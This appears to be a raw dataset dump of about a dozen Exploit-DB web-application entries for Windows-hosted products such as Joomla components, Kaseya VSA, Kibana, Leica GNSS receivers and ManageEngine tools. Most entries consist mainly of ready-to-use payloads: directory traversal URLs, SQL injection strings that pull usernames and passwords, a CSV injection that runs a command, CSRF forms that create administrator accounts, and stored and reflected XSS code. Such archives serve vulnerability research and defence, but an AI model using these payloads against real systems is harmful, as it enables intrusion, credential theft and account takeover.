deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10331
Description: iWeb HTTP Server - Directory Traversal
Type: webapps
Platform: windows
Date: 2009-12-06
Author: mr_me

Exploit:
#################################################################
#
# iWeb HTTP server Directory Transversal Vulnerability
# Found By: mr_me
# Download: http://www.ashleybrown.co.uk/iweb/
# Tested On: Windows XPSP3
#
#################################################################

POC:

http://server/..%5C..%5C..%5Cboot.ini
Exploit-DB #11406
Description: J.A.G (Just Another Guestbook) 1.14 - Database Disclosure
Type: webapps
Platform: windows
Date: 2010-02-11
Author: Phenom

Exploit:
# Software Link: http://www.xs4all.nl/~crisp/jag/jag.zip
# Version: v1.14
# Tested on: Windows xp sp3
 

------------------------------------------------------

 _____  _                                
|  __ \| |                               
| |__) | |__   ___ _ __   ___  _ __ ___  
|  ___/| '_ \ / _ \ '_ \ / _/\| '_ ` _ \ 
| |    | | | |  __/ | | | (_) | | | | | |
|_|    |_| |_|\___|_| |_|\/__/|_| |_| |_|


------------------------------------------------------

####### J.A.G (Just Another Guestbook) Database Disclosure Vulnerability #######
#
#       Author : Phenom
#
#       app version : 1.14
#
#################################################################################

####### Exploit #################################################################
#
#     http://site.com/path/jag/database.sql
#
#################################################################################
Exploit-DB #11847
Description: Joomla! Component com_gds - SQL Injection
Type: webapps
Platform: windows
Date: 2010-03-23
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_gds SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-23

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_gds SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_gds&task=store&Storeid=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2,3,4,5,6--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_gds&task=store&Storeid=-1+UNION+SELECT+1,2,3,4,5,6--

[~] Demo            :

http://[site]/index.php?option=com_gds&task=store&Storeid=-1+UNION+SELECT+1,2,3,4,5,6--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #11243
Description: Joomla! Component com_mochigames - SQL Injection
Type: webapps
Platform: windows
Date: 2010-01-24
Author: B-HUNT3|2

Exploit:
[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var id is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 0.51 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?view=mochigames&id=[SQL]&option=com_mochigames&Itemid=80
[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?view=mochigames&id=99999%27+union+select+1,2,username,4,password,6,7,8,9,10,11,12,13,14,15,16,17+from+jos_users%23&option=com_mochigames&Itemid=80

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...
Exploit-DB #37621
Description: Kaseya Virtual System Administrator (VSA) - Multiple Vulnerabilities (1)
Type: webapps
Platform: windows
Date: 2015-07-15
Author: Pedro Ribeiro

Exploit:
>> Multiple vulnerabilities in Kaseya Virtual System Administrator 
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 13/07/2015 / Last updated: 28/09/2015 

>> Background on the affected product:
"Kaseya VSA is an integrated IT Systems Management platform that can be leveraged seamlessly across IT disciplines to streamline and automate your IT services. Kaseya VSA integrates key management capabilities into a single platform. Kaseya VSA makes your IT staff more productive, your services more reliable, your systems more secure, and your value easier to show."

A special thanks to CERT and ZDI for assisting with the vulnerability reporting process.
These vulnerabilities were disclosed by CERT under ID 919604 [1] on 13/07/2015.


>> Technical details:
#1
Vulnerability: Arbitary file download (authenticated)
CVE-2015-2862 / CERT ID 919604
Affected versions: unknown, at least v7 to v9.1

GET /vsaPres/web20/core/Downloader.ashx?displayName=whatever&filepath=../../boot.ini
Referer: http://10.0.0.3/

A valid login is needed, and the Referrer header must be included. A sample request can be obtained by downloading any file attached to any ticket, and then modifying it with the appropriate path traversal. 
This will download the C:\boot.ini file when Kaseya is installed in the default C:\Kaseya directory. The file download root is the WebPages directory (<Kaseya_Install_Dir>\WebPages\).


#2
Vulnerability: Open redirect (unauthenticated)
CVE-2015-2863 / CERT ID 919604
Affected versions: unknown, at least v7 to v9.1

a)
http://192.168.56.101/inc/supportLoad.asp?urlToLoad=http://www.google.com

b)
GET /vsaPres/Web20/core/LocalProxy.ashx?url=http://www.google.com
Host: www.google.com
(host header has to be spoofed to the target)


>> Fix: 
R9.1: install patch 9.1.0.4
R9.0: install patch 9.0.0.14
R8.0: install patch 8.0.0.18
V7.0: install patch 7.0.0.29


>> References:
[1] https://www.kb.cert.org/vuls/id/919604

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
Exploit-DB #47971
Description: Kibana 6.6.1 - CSV Injection
Type: webapps
Platform: windows
Date: 2020-01-29
Author: Aamir Rehman

Exploit:
# Exploit Title: Kibana 6.6.1 - CSV Injection
# Google Dork: inurl:"/app/kibana" intitle:"Kibana"
# Date: 2020-01-15
# Exploit Author: Aamir Rehman
# Vendor Homepage: https://www.elastic.co/kibana
# Software Link: https://www.elastic.co/downloads/
# Version: v6.6.1 possibly latest versions
# Tested on: Kibana 6.6.1 - Firefox/Windows
# References: 
# https://the-it-wonders.blogspot.com/2020/01/csv-injection-in-kibana-661-possibly.html
# https://github.com/elastic/kibana/issues/56081


# Software description:
Kibana is an open source data visualization dashboard for Elasticsearch. It provides visualization capabilities on top of the content indexed on an Elasticsearch cluster. Users can create bar, line and scatter plots, or pie charts and maps on top of large volumes of data.

# Technical Details & Impact:
Most of the kibana applications are having authentication disabled any malicious user can inject csv payload in visualization section of dashboard and It's possible to run malicious command on logged in user computer. Even though an alert message is shown on opening the file but users usually ignore such pop-ups since file is from known source.

# POC

1.	Click on Dashboard tab and select any dashboard from the list. I would suggest to select the dashboard which has Gauge or Line visualization type.
2.	Once you are on dashboard click on "Edit button" on top right of the page.
3.	Click "gear (options)" button of any graphical view box.
4.	It will open a options box click on "edit visualization".
5.	It will open the edit page click on any "Blue play button" in front of any metric.
6.	Here you can edit the metric's information; we will be exploiting the "Custom Label" field
7.	In custom Label field enter your csv injection payload e.g. @SUM(1+1)*cmd|' /c calc'!A0.
8.	All is done now click on Top "blue play button" to save the settings and click on SAVE button open top right of the page.
9.	Go back to dashboard graphical view, you will see your csv payload their. Click on 3dots buttons on top of the graphical box click on "INSPECT".
10.	It will open the export panel click on download csv and click formatted csv.

# Timeline
15-01-2020 - Vulnerability discovered
27-01-2020 - Vendor contacted
28-01-2020 - Vendor responded, not marking it as a security flaw. Git issue has been created. (https://github.com/elastic/kibana/issues/56081)
28-01-2020 – Requested vendor for disclosure. 
29-01-2020 - Full Disclosure
Exploit-DB #46090
Description: Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 - Cross-Site Request Forgery
Type: webapps
Platform: windows
Date: 2019-01-07
Author: LiquidWorm

Exploit:
<--

Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 Cross-Site Request Forgery


Vendor: Leica Geosystems AG
Product web page: https://www.leica-geosystems.com
Affected version: 4.30.063
                  4.20.232
                  4.11.606
                  3.22.1818
                  3.10.1633
                  2.62.782
                  1.00.395

Summary: The Leica GR10 is the next generation GNSS reference station receiver
that combines the latest state-of-the-art technologies with a streamlined
'plug and play' workflow. Designed for a wide variety of GNSS reference station
applications, the Leica GR10 offers new levels of simplicity, reliability and
performance.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: BarracudaServer.com (WindowsCE)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5502
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5502.php


18.12.2018

-->


<html>
  <body>
   <form action="http://192.168.1.17/config/config_UserManagementPostBackHelper.lsp" method="POST">
     <input type="hidden" name="txtHelpPage" value="config_changeuser" />
     <input type="hidden" name="txtUsername" value="testingus" />
     <input type="hidden" name="txtPassword" value="12345678" />
     <input type="hidden" name="txtConfirmPassword" value="12345678" />
     <input type="hidden" name="webRole" value="3" />
     <input type="hidden" name="ftpRole" value="2" />
     <input type="hidden" name="TxtOperationMode" value="2" />
     <input type="hidden" name="txtEditedUser" value="" />
     <input type="hidden" name="userId" value="nil" />
     <input type="submit" value="Init" />
   </form>
  </body>
</html>
Exploit-DB #46091
Description: Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 - JS/HTML Code Injection
Type: webapps
Platform: windows
Date: 2019-01-07
Author: LiquidWorm

Exploit:
<--

Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 JS/HTML Code Injection


Vendor: Leica Geosystems AG
Product web page: https://www.leica-geosystems.com
Affected version: 4.30.063
                  4.20.232
                  4.11.606
                  3.22.1818
                  3.10.1633
                  2.62.782
                  1.00.395

Summary: The Leica GR10 is the next generation GNSS reference station receiver
that combines the latest state-of-the-art technologies with a streamlined
'plug and play' workflow. Designed for a wide variety of GNSS reference station
applications, the Leica GR10 offers new levels of simplicity, reliability and
performance.

Desc: The application suffers from a stored XSS vulnerability. The issue is
triggered via unrestricted file upload while restoring a config file allowing
the attacker to upload an html or javascript file that will be stored in
/settings/poc.html. This can be exploited to execute arbitrary HTML or JS
code in a user's browser session in context of an affected site.

Tested on: BarracudaServer.com (WindowsCE)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5503
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5503.php

Ref: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5502.php


18.12.2018

-->


<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/192.168.1.17\/upload_config\/", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryKW8wlraBygxiEQyo");
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundaryKW8wlraBygxiEQyo\r\n" + 
          "Content-Disposition: form-data; name=\"file\"; filename=\"xss.html\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\n" + 
          "\x3chtml\x3e\r\n" + 
          "\x3chead\x3e\r\n" + 
          "\x3ctitle\x3eHTMLi\x3c/title\x3e\r\n" + 
          "\x3c/head\x3e\r\n" + 
          "\x3cbody\x3e\r\n" + 
          "\x3cscript\x3econfirm(document.cookie)\x3c/script\x3e\r\n" + 
          "\x3c/body\x3e\r\n" + 
          "\x3c/html\x3e\n" + 
          "\n" + 
          "\r\n" + 
          "------WebKitFormBoundaryKW8wlraBygxiEQyo--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Init" onclick="submitRequest();" />
    </form>
  </body>
</html>
Exploit-DB #47302
Description: LSoft ListServ < 16.5-2018a - Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2019-08-26
Author: MTK

Exploit:
# Exploit Title: LSoft ListServ < 16.5 - Cross-Site Scripting (XSS)
# Google Dork: intitle:LISTSERV 16.5
# Date: 08-21-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: http://www.lsoft.com/
# Softwae Link: http://www.lsoft.com/products/listserv.asp
# Version: Older than Ver 16.5-2018a
# Tested on: IIS 8.5/10.0 - Firefox/Windows
# CVE : CVE-2019-15501

# Software description:
The term Listserv has been used to refer to electronic mailing list software applications in general, 
but is more properly applied to a few early instances of such software, which allows a sender to send one 
email to the list, and then transparently sends it on to the addresses of the subscribers to the list. 

# POC

1. 	http://127.0.0.1/scripts/wa.exe?OK=<PAYLOAD>
2.	http://127.0.0.1/scripts/wa.exe?OK=<svg/onload=%26%23097lert%26lpar;'MTK')>

# References:
1.	http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
2.	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15501
Exploit-DB #45254
Description: ManageEngine ADManager Plus 6.5.7 - HTML Injection
Type: webapps
Platform: windows
Date: 2018-08-25
Author: Ismail Tasdelen

Exploit:
# Exploit Title: ManageEngine ADManager Plus 6.5.7 - HTML Injection
# Date: 2018-08-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.manageengine.com/
# Hardware Link : https://www.manageengine.com/products/ad-manager/
# Software : ZOHO Corp ManageEngine ADManager Plus
# Product Version:  6.5.7
# Vulernability Type : Code Injection
# Vulenrability : HTML Injection
# CVE : CVE-2018-15608

# ZOHO Corp ManageEngine ADManager Plus 6.5.7 allows HTML Injection on 
# the "AD Delegation" "Help Desk Technicians" screen.

# HTTP Request Header :

Request URL: http://172.16.2.105:8080/ADMPTechnicians.do?methodToCall=listTechnicianRows
Request Method: POST
Status Code: 200 OK
Remote Address: 172.16.2.105:8080
Referrer Policy: no-referrer-when-downgrade
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Content-Length: 301
Content-type: application/x-www-form-urlencoded;charset=UTF-8
Cookie: adscsrf=614ff642-779b-41aa-bff5-44370ad770c2; JSESSIONID=79DE1A7AE1DC5B7D88FCBF02AB425987; JSESSIONIDSSO=19AA1682A937F344D1DCB190B31343FB
Host: 172.16.2.105:8080
Origin: http://172.16.2.105:8080
Referer: http://172.16.2.105:8080/Delegation.do?selectedTab=delegation&selectedTile=technicians
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
X-Requested-With: XMLHttpRequest

# HTTP Response Header :

Content-Length: 3753
Content-Type: text/html;charset=UTF-8
Date: Tue, 14 Aug 2018 10:14:32 GMT
Server: Apache-Coyote/1.1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1

# Query String Parameters :

methodToCall: listTechnicianRows

# Form Data :

params: {"startIndex":1,"range":10,"searchText":"\"><h1>Ismail Tasdelen</h1>","ascending":true,"isNavigation":false,"adminSelected":false,"isNewRange":false,"sortColumn":FULL_NAME,"typeFilters":"","domainFilters":"","viewType":defaultView}
adscsrf: 614ff642-779b-41aa-bff5-44370ad770c2
Exploit-DB #37395
Description: ManageEngine Asset Explorer 6.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2015-06-26
Author: Suraj Krishnaswami

Exploit:
Title:
===============
ManageEngine Asset Explorer v6.1 - XSS Vulnerability


CVE-ID:
====================================
CVE-2015-2169


CVSS:
====================================
3.5


Product & Service Introduction (Taken from their homepage):
====================================
ManageEngine AssetExplorer is a web-based IT Asset Management (ITAM)
software that helps you monitor and manage assets in your network from
Planning phase to Disposal phase. AssetExplorer provides you with a number
of ways to ensure discovery of all the assets in your network. You can
manage software & hardware assets, ensure software license compliance and
track purchase orders & contracts - the whole nine yards! AssetExplorer is
very easy to install and works right out of the box.

(Homepage: https://www.manageengine.com/products/asset-explorer/ )


Abstract Advisory Information:
==============================
Cross site scripting attack can be performed on the manage engine asset
explorer. If the 'publisher' name contains vulnerable script, it gets
executed in the browser.


Affected Products:
====================
Manage Engine
Product: Asset Explorer - Web Application 6.1.0 (Build 6112)


Severity Level:
====================
Medium


Technical Details & Description:
================================
Add a vendor with a script in it to the registry.
Login to the product,
Scan the endpoint where the registry is modified.
In the right pane, go to software->Scanned Software

The script gets executed.

Vulnerable Product(s):
ManageEngine Asset Explorer

Affected Version(s):
Version 6.1.0 / Build Number 6112
(Earlier versions i did not test)

Vulnerability Type(s):
Persistent Cross Site Scripting


PoC:
=======================
Add the following registry entry in the machine, for targeted attack.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fake_Software]
"DisplayName"="A fake software 2 installed"
"UninstallString"="C:\\Program Files\\fake\\uninst.exe"
"DisplayVersion"="0.500.20"
"URLInfoAbout"="http://www.dummy.org"
"Publisher"="<script> alert(\"XSS\"); </script>"


Security Risk:
==================
Medium.


Credits & Authors:
==================
Suraj Krishnaswami (suraj.krishnaswami@gmail.com)


Timeline:
==================
Discovered at Wed, March 3, 2015
Informed manage engine about the vulnerability: March 4, 2015
Case moved to development team: March 4, 2015
Asked for updates: March 9, 2015
Asked for updates: March 13, 2015
Asked for updates: April 14, 2015
Public Disclosure at Mon, June 22, 2015
Exploit-DB #37059
Description: ManageEngine EventLog Analyzer 10.0 Build 10001 - Cross-Site Request Forgery
Type: webapps
Platform: windows
Date: 2015-05-18
Author: Akash S. Chavan

Exploit:
<!--
[+] Exploit Title: ManageEngine EventLog Analyzer Version 10.0 Cross Site
Request Forgery Exploit
[+] Date: 31/03/2015
[+] Exploit Author: Akash S. Chavan
[+] Vendor Homepage: https://www.manageengine.com/
[+] Software Link:
https://download.manageengine.com/products/eventlog/91517554/ManageEngine_EventLogAnalyzer_64bit.exe
[+] Version: Version: 10.0, Build Number: 10001
[+] Tested on: Windows 8.1/PostgreSQL
-->

<html>
	<body>
    <form action="http://127.0.0.1:8400/event/userManagementForm.do" method="POST">
      <input type="hidden" name="domainId" value="" />
      <input type="hidden" name="roleId" value="" />
      <input type="hidden" name="addField" value="true" />
      <input type="hidden" name="userType" value="Administrator" />
      <input type="hidden" name="userName" value="rooted" />
      <input type="hidden" name="pwd1" value="admin" />
      <input type="hidden" name="password" value="admin" />
      <input type="hidden" name="userGroup" value="Administrator" />
      <input type="hidden" name="email" value="" />
      <input type="hidden" name="AddSubmit" value="Add&#32;User" />
      <input type="hidden" name="alpha" value="" />
      <input type="hidden" name="userIds" value="" />
      <input type="hidden" name="roleName" value="" />
      <input type="hidden" name="selDevices" value="" />
      <input type="hidden" name="doAction" value="" />
      <input type="hidden" name="productName" value="eventlog" />
      <input type="hidden" name="licType" value="Prem" />
      <input type="hidden" name="next" value="" />
      <input type="hidden" name="currentUserId" value="1" />
      <input type="hidden" name="isAdminServer" value="false" />
      <input type="submit" value="Click Me" />
    </form>
  </body>
</html>